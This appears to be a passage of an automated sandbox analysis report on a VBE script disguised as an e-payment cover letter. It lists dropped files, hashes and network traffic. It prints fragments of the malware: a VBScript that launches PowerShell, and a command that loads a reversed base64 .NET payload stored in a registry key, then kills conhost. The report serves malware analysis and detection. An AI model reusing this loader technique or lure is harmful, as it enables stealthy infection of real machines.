Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...+...1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1......Y....Windows.@......EW<2.Y......2.....................^...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I86UPN4P7QD73MBINPH2.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.73256613139349
Encrypted:	false
SSDEEP:	48:oL9DPlEtEe6+3Cy2pU2OHjukvhkvklCywQZkq8IlLnSogZoI5kq8IlLnSogZos1:ohih3CABikvhkvCCtAR8IsHLR8IsHf
MD5:	57B3E1C4E69F483912AE90E154101EC1
SHA1:	C340213A698B363CC484C03E295726A13101FB5C
SHA-256:	40A8E08BA88559558F9846FD5FEDE602F74B799C06068D470801CE7A603A6932
SHA-512:	DA23F9064697D6666EA79DAF9EB446DC0A602601D246AA572D9D418C049120CFC94C4F7871205C8C641F82A8F6A956B1E0B92C85A7108BBCC784EEB680DC6634
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...\.{.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1......Y....Windows.@......EW<2.Y......2.....................^...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K07PGO2TA6OUWY4XJ1PD.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.731756786621176
Encrypted:	false
SSDEEP:	48:oL3SDPlEtEe6+3Cy2pU2OHjukvhkvklCywQZkJ8IlLnSogZoI5kJ8IlLnSogZos1:oTCih3CABikvhkvCCtAe8IsHLe8IsHf
MD5:	48B325D591ABF44449D8EB2A507362B4
SHA1:	6B6FDD4AB46078947037A2FF1D06632144CFA7A5
SHA-256:	122904E45BD7F42AE38FEFF43365A33FC835141D17E4BA017B7D33D17A5A7831
SHA-512:	482DE3AB413388AC3FE5EB3CD13B8F73A8F5F05A2E86746512870E6332C99807F11631408D473A7CB64A6CEF20EE32BB8B8B0EE256D6B2A01D8A11794CF1B753
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1.....p.2.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1......Y....Windows.@......EW<2.Y......2.....................^...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KNVHWLQJWSZLZJ2A42BZ.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7327731013118064
Encrypted:	false
SSDEEP:	48:oLFDPlEtEe6+3Cy2pU2OHjukvhkvklCywQZkq8IlLnSogZoI5kq8IlLnSogZos1:oRih3CABikvhkvCCtAR8IsHLR8IsHf
MD5:	C1E2F45416DE99162669282CBEB87448
SHA1:	20482FF3E6582EC57C7C84622FA2F69BF8F04412
SHA-256:	938F57DB01EF8F38239B54CE6A40213BD27885923EAD902BBACEC582E4194D17
SHA-512:	E83DF1AC3EC7188EEE5C252919234CD50FF610C4E8EAE79FD5141C566531CE5CB15B110B84D0FB88672D2B49078923A2332E09BD469FE681BA467698E2221C1A
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...wk..1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1......Y....Windows.@......EW<2.Y......2.....................^...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QS3QK1M1TC8F04MXKC0O.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7321094805789055
Encrypted:	false
SSDEEP:	48:oLZtDPlEtEe6+3Cy2pU2OHjukvhkvklCywQZkJ8IlLnSogZoI5kJ8IlLnSogZos1:oVdih3CABikvhkvCCtAe8IsHLe8IsHf
MD5:	FBE5113D33AB64A54CCFA987FD2FFD61
SHA1:	53FE1036A71E53AEDD8226AC868B7ED2EF2C5429
SHA-256:	323978E4747F4FA8CC5BBE9297EA637FFD9031568559E5CC8309A2E14C44932E
SHA-512:	E7BC50DD84A56F141E6F2137CC7359A39A86BB624A7D2D66C07E3E451E63AEE354A62F2A119C8CFF29DB20E5ED4159DEEC3DF36181262D0FEF279ED36C4D86A3
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1.....1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1......Y....Windows.@......EW<2.Y......2.....................^...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SOPCD0JK296ZW80O30M3.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.731125910093259
Encrypted:	false
SSDEEP:	48:oLKDPlEtEHAE+3Cy2pU2OHjukvhkvklCywQZkq8IlLnSogZoI5kq8IlLnSogZos1:oeba3CABikvhkvCCtAR8IsHLR8IsHf
MD5:	3C2EE677FC09F047AA97112511330DE3
SHA1:	502C575E4E58E702AB7AC880C79C210E2926D30C
SHA-256:	B244D722CE0AF3FE963F18D24168428E8F62A9B6AB71669AC9F7C0A28539E807
SHA-512:	64867D9A1BDD558F6A636D434CE54DA4E0B51BF481CF2D146E84BC96EF2E13D0148C725FC6CE22A66F47B8428894513CFC70CA9A172C5802DDD53C1060267EE3
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...O.M.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TU3HXJJAMTQD7V3T16G2.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.732474433509687
Encrypted:	false
SSDEEP:	48:oLrMDPlEtEe6+3Cy2pU2OHjukvhkvklCywQZkJ8IlLnSogZoI5kJ8IlLnSogZos1:oQih3CABikvhkvCCtAe8IsHLe8IsHf
MD5:	D97211E96DCC6262A0606FA8BE27E5AB
SHA1:	3B5B47A4DC5D243D87B9BC95FFE284006CE47CA4
SHA-256:	EAA58EFC01BB482E8EF47DCA5F9DB2C7CD368FE6A2263065A8226E71EB8482E3
SHA-512:	74AF592E7107B3964838AF1CDDF51FCEA8F677FA51F2E1DDBA5E73756A37AF76F5854C18AECA62D3D8E850CFAE04E664F4D243101607803B0D77F175CCBC67DE
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1....i.)2.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1......Y....Windows.@......EW<2.Y......2.....................^...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UCSBMANS2KK7YCR1LEJV.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.7317322934016404
Encrypted:	false
SSDEEP:	48:oLcDPlEtEe6+3Cy2pU2OHjukvhkvklCywQZkJ8IlLnSogZoI5kJ8IlLnSogZos1:ocih3CABikvhkvCCtAe8IsHLe8IsHf
MD5:	B109B50845304BF0443E86598741C1A0
SHA1:	EAF07B0F8A7CBD4BD922A775E2AF871E0FD668A4
SHA-256:	1AEA1B9A42C5DA6CE45979757522981FA07A4A67A87592B97948CD7E473F8C26
SHA-512:	AC20E5923F293DDB2EFBE5E44EBC50DB58D82EBB87742FDC14D38546739D128E13A5370D55A294B7E01E019B3B318B97D874596CDC639099BCA5EA74F4B6EAA9
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...@.M.1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1......2.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1......Y....Windows.@......EW<2.Y......2.....................^...W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2.Y......7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W8D1M7IG5DUTD8USBM35.temp

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6224
Entropy (8bit):	3.733029659386897
Encrypted:	false
SSDEEP:	48:/NLGDPlEtEHAE+3Cy2pU2UHjukvhkvklCywQZkq8IlHJnSogZoI5kq8IlLnSogZf:VCba3CATikvhkvCCtAR8I+HLR8IsHf
MD5:	21F351F0A2675229A4B0738194F83411
SHA1:	7D46E16562F7F3EA296CD0EF25A9BAB79FB6D246
SHA-256:	402FA5DD9801C6FD0E7668F6F029223C1F82A0B28E34DDD0DA7F054B95E1CDAB
SHA-512:	5CE735FF1B2E1F74A7BEA179861B39BFC36F3313E158C2E56A22F9DB8F196BBB61C704A27F74F99BC30B1F4B8788B63C335B42A9A4ABE57ECC1406858408F822
Malicious:	false
Preview:	...................................FL..................F.".. ...J.S...C...1...z.:{.............................:..DG..Yr?.D..U..k0.&...&.......$..S....jQ.1...q.(.1.......t...CFSF..1.....EW<2..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW<2.Y.............................^.A.p.p.D.a.t.a...B.V.1......Y....Roaming.@......EW<2.Y....../.....................b$..R.o.a.m.i.n.g.....\.1.....EW.3..MICROS~1..D......EW<2.Y......0.....................Q%0.M.i.c.r.o.s.o.f.t.....V.1.....EW.5..Windows.@......EW<2.Y......2......................x..W.i.n.d.o.w.s.......1.....EW@2..STARTM~1..n......EW<2.Y......5...............D.......Y.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWz5..Programs..j......EW<2.Y......6...............@.....M.n.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW<2EW<2....7.....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW<2.Y......u...........

C:\Users\user\AppData\Roaming\mBUojysElnsNYdM.vbs

Process:	C:\Windows\System32\wscript.exe
File Type:	ISO-8859 text
Category:	dropped
Size (bytes):	2108
Entropy (8bit):	4.91913253838801
Encrypted:	false
SSDEEP:	48:rJVsWD6IIWZrMnPmklEX/AEdFJJmqgjHjJvRWgqnf9BxZRmzr/u4q:rJVLQk27vYnfVZ2uV
MD5:	48A6B987D0CDE29ACA20F8162A24E89B
SHA1:	44CC5F173979E6CA893F9CB14F6B0C3BFAB0992F
SHA-256:	693D00BDE18E9246EA67B1C6DB570D5092AA1C1A5F48D582E0905C518F7560C2
SHA-512:	00A4E31E5B7A6DB0EA3849D5711F37C431D641BF871BDCBC7E382CD840FC496F4AE12601B7AD10FE64B451532CAA91D79C6B0FDAE93C6A1ECE2057AA2A93EC4B
Malicious:	true
Preview:	Option Explicit.'Nom du projet: mBUojysElnsNYdM.' Initialisation des objets et variables.Dim gestionnaireShell, repertoireSysteme, iteration.Set gestionnaireShell = CreateObject("WScript.Shell").repertoireSysteme = gestionnaireShell.ExpandEnvironmentStrings("%windir%")..' Fonction pour v.rifier l'ex.cution d'un processus.Function ProcessusEstActif(nomDuProcessus). Dim gestionnaireWMI, listeDesProcessus. Set gestionnaireWMI = GetObject("winmgmts:\\.\root\cimv2"). Set listeDesProcessus = gestionnaireWMI.ExecQuery("SELECT * FROM Win32_Process WHERE Name='" & nomDuProcessus & "'"). . ProcessusEstActif = (listeDesProcessus.Count > 0).End Function..' Proc.dure pour ex.cuter des commandes PowerShell.Sub LancerCommandesPowerShell(). Dim listeDesProcessus, processusActif. . ' Ex.cuter PowerShell avec une fen.tre normale. gestionnaireShell.Run repertoireSysteme & "\system32\WindowsPowerShell\v1.0\powershell.exe", 2. . ' Rechercher le processus PowerShell et ex.cu

\Device\ConDrv

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (875), with CRLF line terminators, with escape sequences
Category:	dropped
Size (bytes):	1667
Entropy (8bit):	4.483125413156065
Encrypted:	false
SSDEEP:	48:E/WxZLWxZz5KdTjAX+X5XpXKX/XFXoXQXDX5:E/EZLEZz5KdTj4
MD5:	E4610DC41033A5D84B6CB29A63BFF36E
SHA1:	76974C42E696776D40CE7B87D0E538133742EDBE
SHA-256:	A152836E9B323EB74548AD8F4820D6E80D06C3B8C8AC7D10DFFA36B411212F7C
SHA-512:	F448CA27FA912DCF8E735BD394E324726ECC06E2F4D1BD9C0EB7E3285B7DBD842D48BCF610C6115A3BF193156C5B22D26DB1627BD3382C7B380573C72E7A38BC
Malicious:	false
Preview:	.[91m> .[0m.[93m[.[33m.[45m.[0m.[33m[.[37mAppDomain.[33m]::.[97mCurrentDomain.[33m..[97mLoad.[33m([.[37mConvert.[33m]::.[97mFromBase64String.[33m((.[90m-join.[33m.[45m .[33m(.[93mGet-ItemProperty.[33m.[45m .[90m-LiteralPath.[33m.[45m .[36m'H.[33m.[45m.[0m.[33m.[45m> .[0m.[33m[.[37mAppDomain.[33m]::.[97mCurrentDomain.[33m..[97mLoad.[33m([.[37mConvert.[33m]::.[97mFromBase64String.[33m((.[90m-join.[33m.[45m .[33m(.[93mGet-ItemProperty.[33m.[45m .[90m-LiteralPath.[33m.[45m .[36m'HKCU:\Software\mBUojysElnsNYdM'.[33m.[45m .[90m-Name.[33m.[45m .[36m's'.[33m)..[97ms.[33m.[45m .[33m\|.[33m.[45m .[93mForEach-Object.[33m.[45m .[33m{.[92m$_.[33m[.[97m-1.[90m..-.[33m(.[92m$_.[33m..[97mLength.[33m)]})));.[33m.[45m .[33m[.[37ma.a.[33m]::.[97ma.[33m(.[36m'mBUojysElnsNYdM'.[33m).[0mstep 1..etape 2...[93mStop-Process.[33m.[45m .[90m-Name.[33m.[45m .[33mconho.[33m.[45m.[0m.[93mStop-Process.[33m.[45m .[90m-Name.[33m.[45m .[33mconhos.[33m.[45m.[0m.[93mStop-Process.[33m.[45m .[90m-Name.[33m.[45m .[33mconhost

Static File Info

General

File type:	data
Entropy (8bit):	3.922228245124172
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	01_COVER_LETTER_-_FOR_E_PAYMENT.vbe
File size:	13'758 bytes
MD5:	46a86b1e4d1136f04743b65d4c402b9f
SHA1:	dc17d6fa8bdd838bf37efbbe60b8a169e3f794a3
SHA256:	db7c3bb3fa1311b696574ba3048e627b3ce3298d911a5946972655433be476af
SHA512:	5b7e79943a3d126b9879d34fd0c023e227477cb82b354855a81b4ca8b090d83a83ffbb3a1a7e63e5715ebccad3d42dc2e578ebd20b7fe5e8acf8a842d9d7f0b0
SSDEEP:	384:9ECYUlp+y4DdVWrXDYifV9IG8TLtonspm:2yp+y4ZYv/fAG8TRoom
TLSH:	9F528848CF9E11C2F3216B5A5BCA9AD5173F4D21BB1B4AD1186842C6373ADC0F926F36
File Content Preview:	..#.@.~.^.x.R.o.A.A.A.=.=.v.s.A.i.K.L.H./.2.^.x.k.H.5.9.H.@.#.@.&.}.w.O.r.K.x.P.A.a.w.^.k.m.b.O.@.#.@.&.@.#.@.&.E.P.].W.;.O.b.x.n.P.a...k...m.r.2.m.V.+.~.l.,.2.a.....m.!.O.b.W.U.,.N.!.P./.1.D.b.2.Y.@.#.@.&.j.E.(.P.3.a...m.E.D.n.D.U.m.D.b.2.O.n.M.k...m.r.w

File Icon


Icon Hash:	68d69b8f86ab9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 18:36:57.801454067 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:57.835228920 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:57.835294008 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:57.835489035 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:57.859859943 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.558868885 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.559431076 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.559469938 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.559592962 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.561745882 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.561758041 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.561820984 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.563810110 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.563821077 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.563862085 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.566282034 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.566293001 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.566333055 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.570626974 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.570683002 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.576998949 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.579758883 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.579837084 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.653726101 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.654854059 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.654864073 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.654932976 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.665895939 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.665909052 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.665919065 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.665973902 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.666027069 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.666857004 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.666870117 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.666904926 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.679022074 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.679034948 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.679105043 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.680310965 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.680325031 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.680341959 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:58.680394888 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.721488953 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.763782024 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:58.782154083 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.289067030 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.289551973 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.289565086 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.289634943 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.291644096 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.291656971 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.291706085 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.293793917 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.293807030 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.293858051 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.295698881 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.295711994 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.295770884 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.297705889 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.297718048 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.297753096 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.299354076 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.299366951 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.299377918 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.299392939 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.299412012 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.301276922 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.301289082 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.301321983 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.302988052 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.302999973 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.303037882 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:36:59.305020094 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.305032015 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:36:59.305087090 CEST	49710	80	192.168.2.6	144.91.79.54
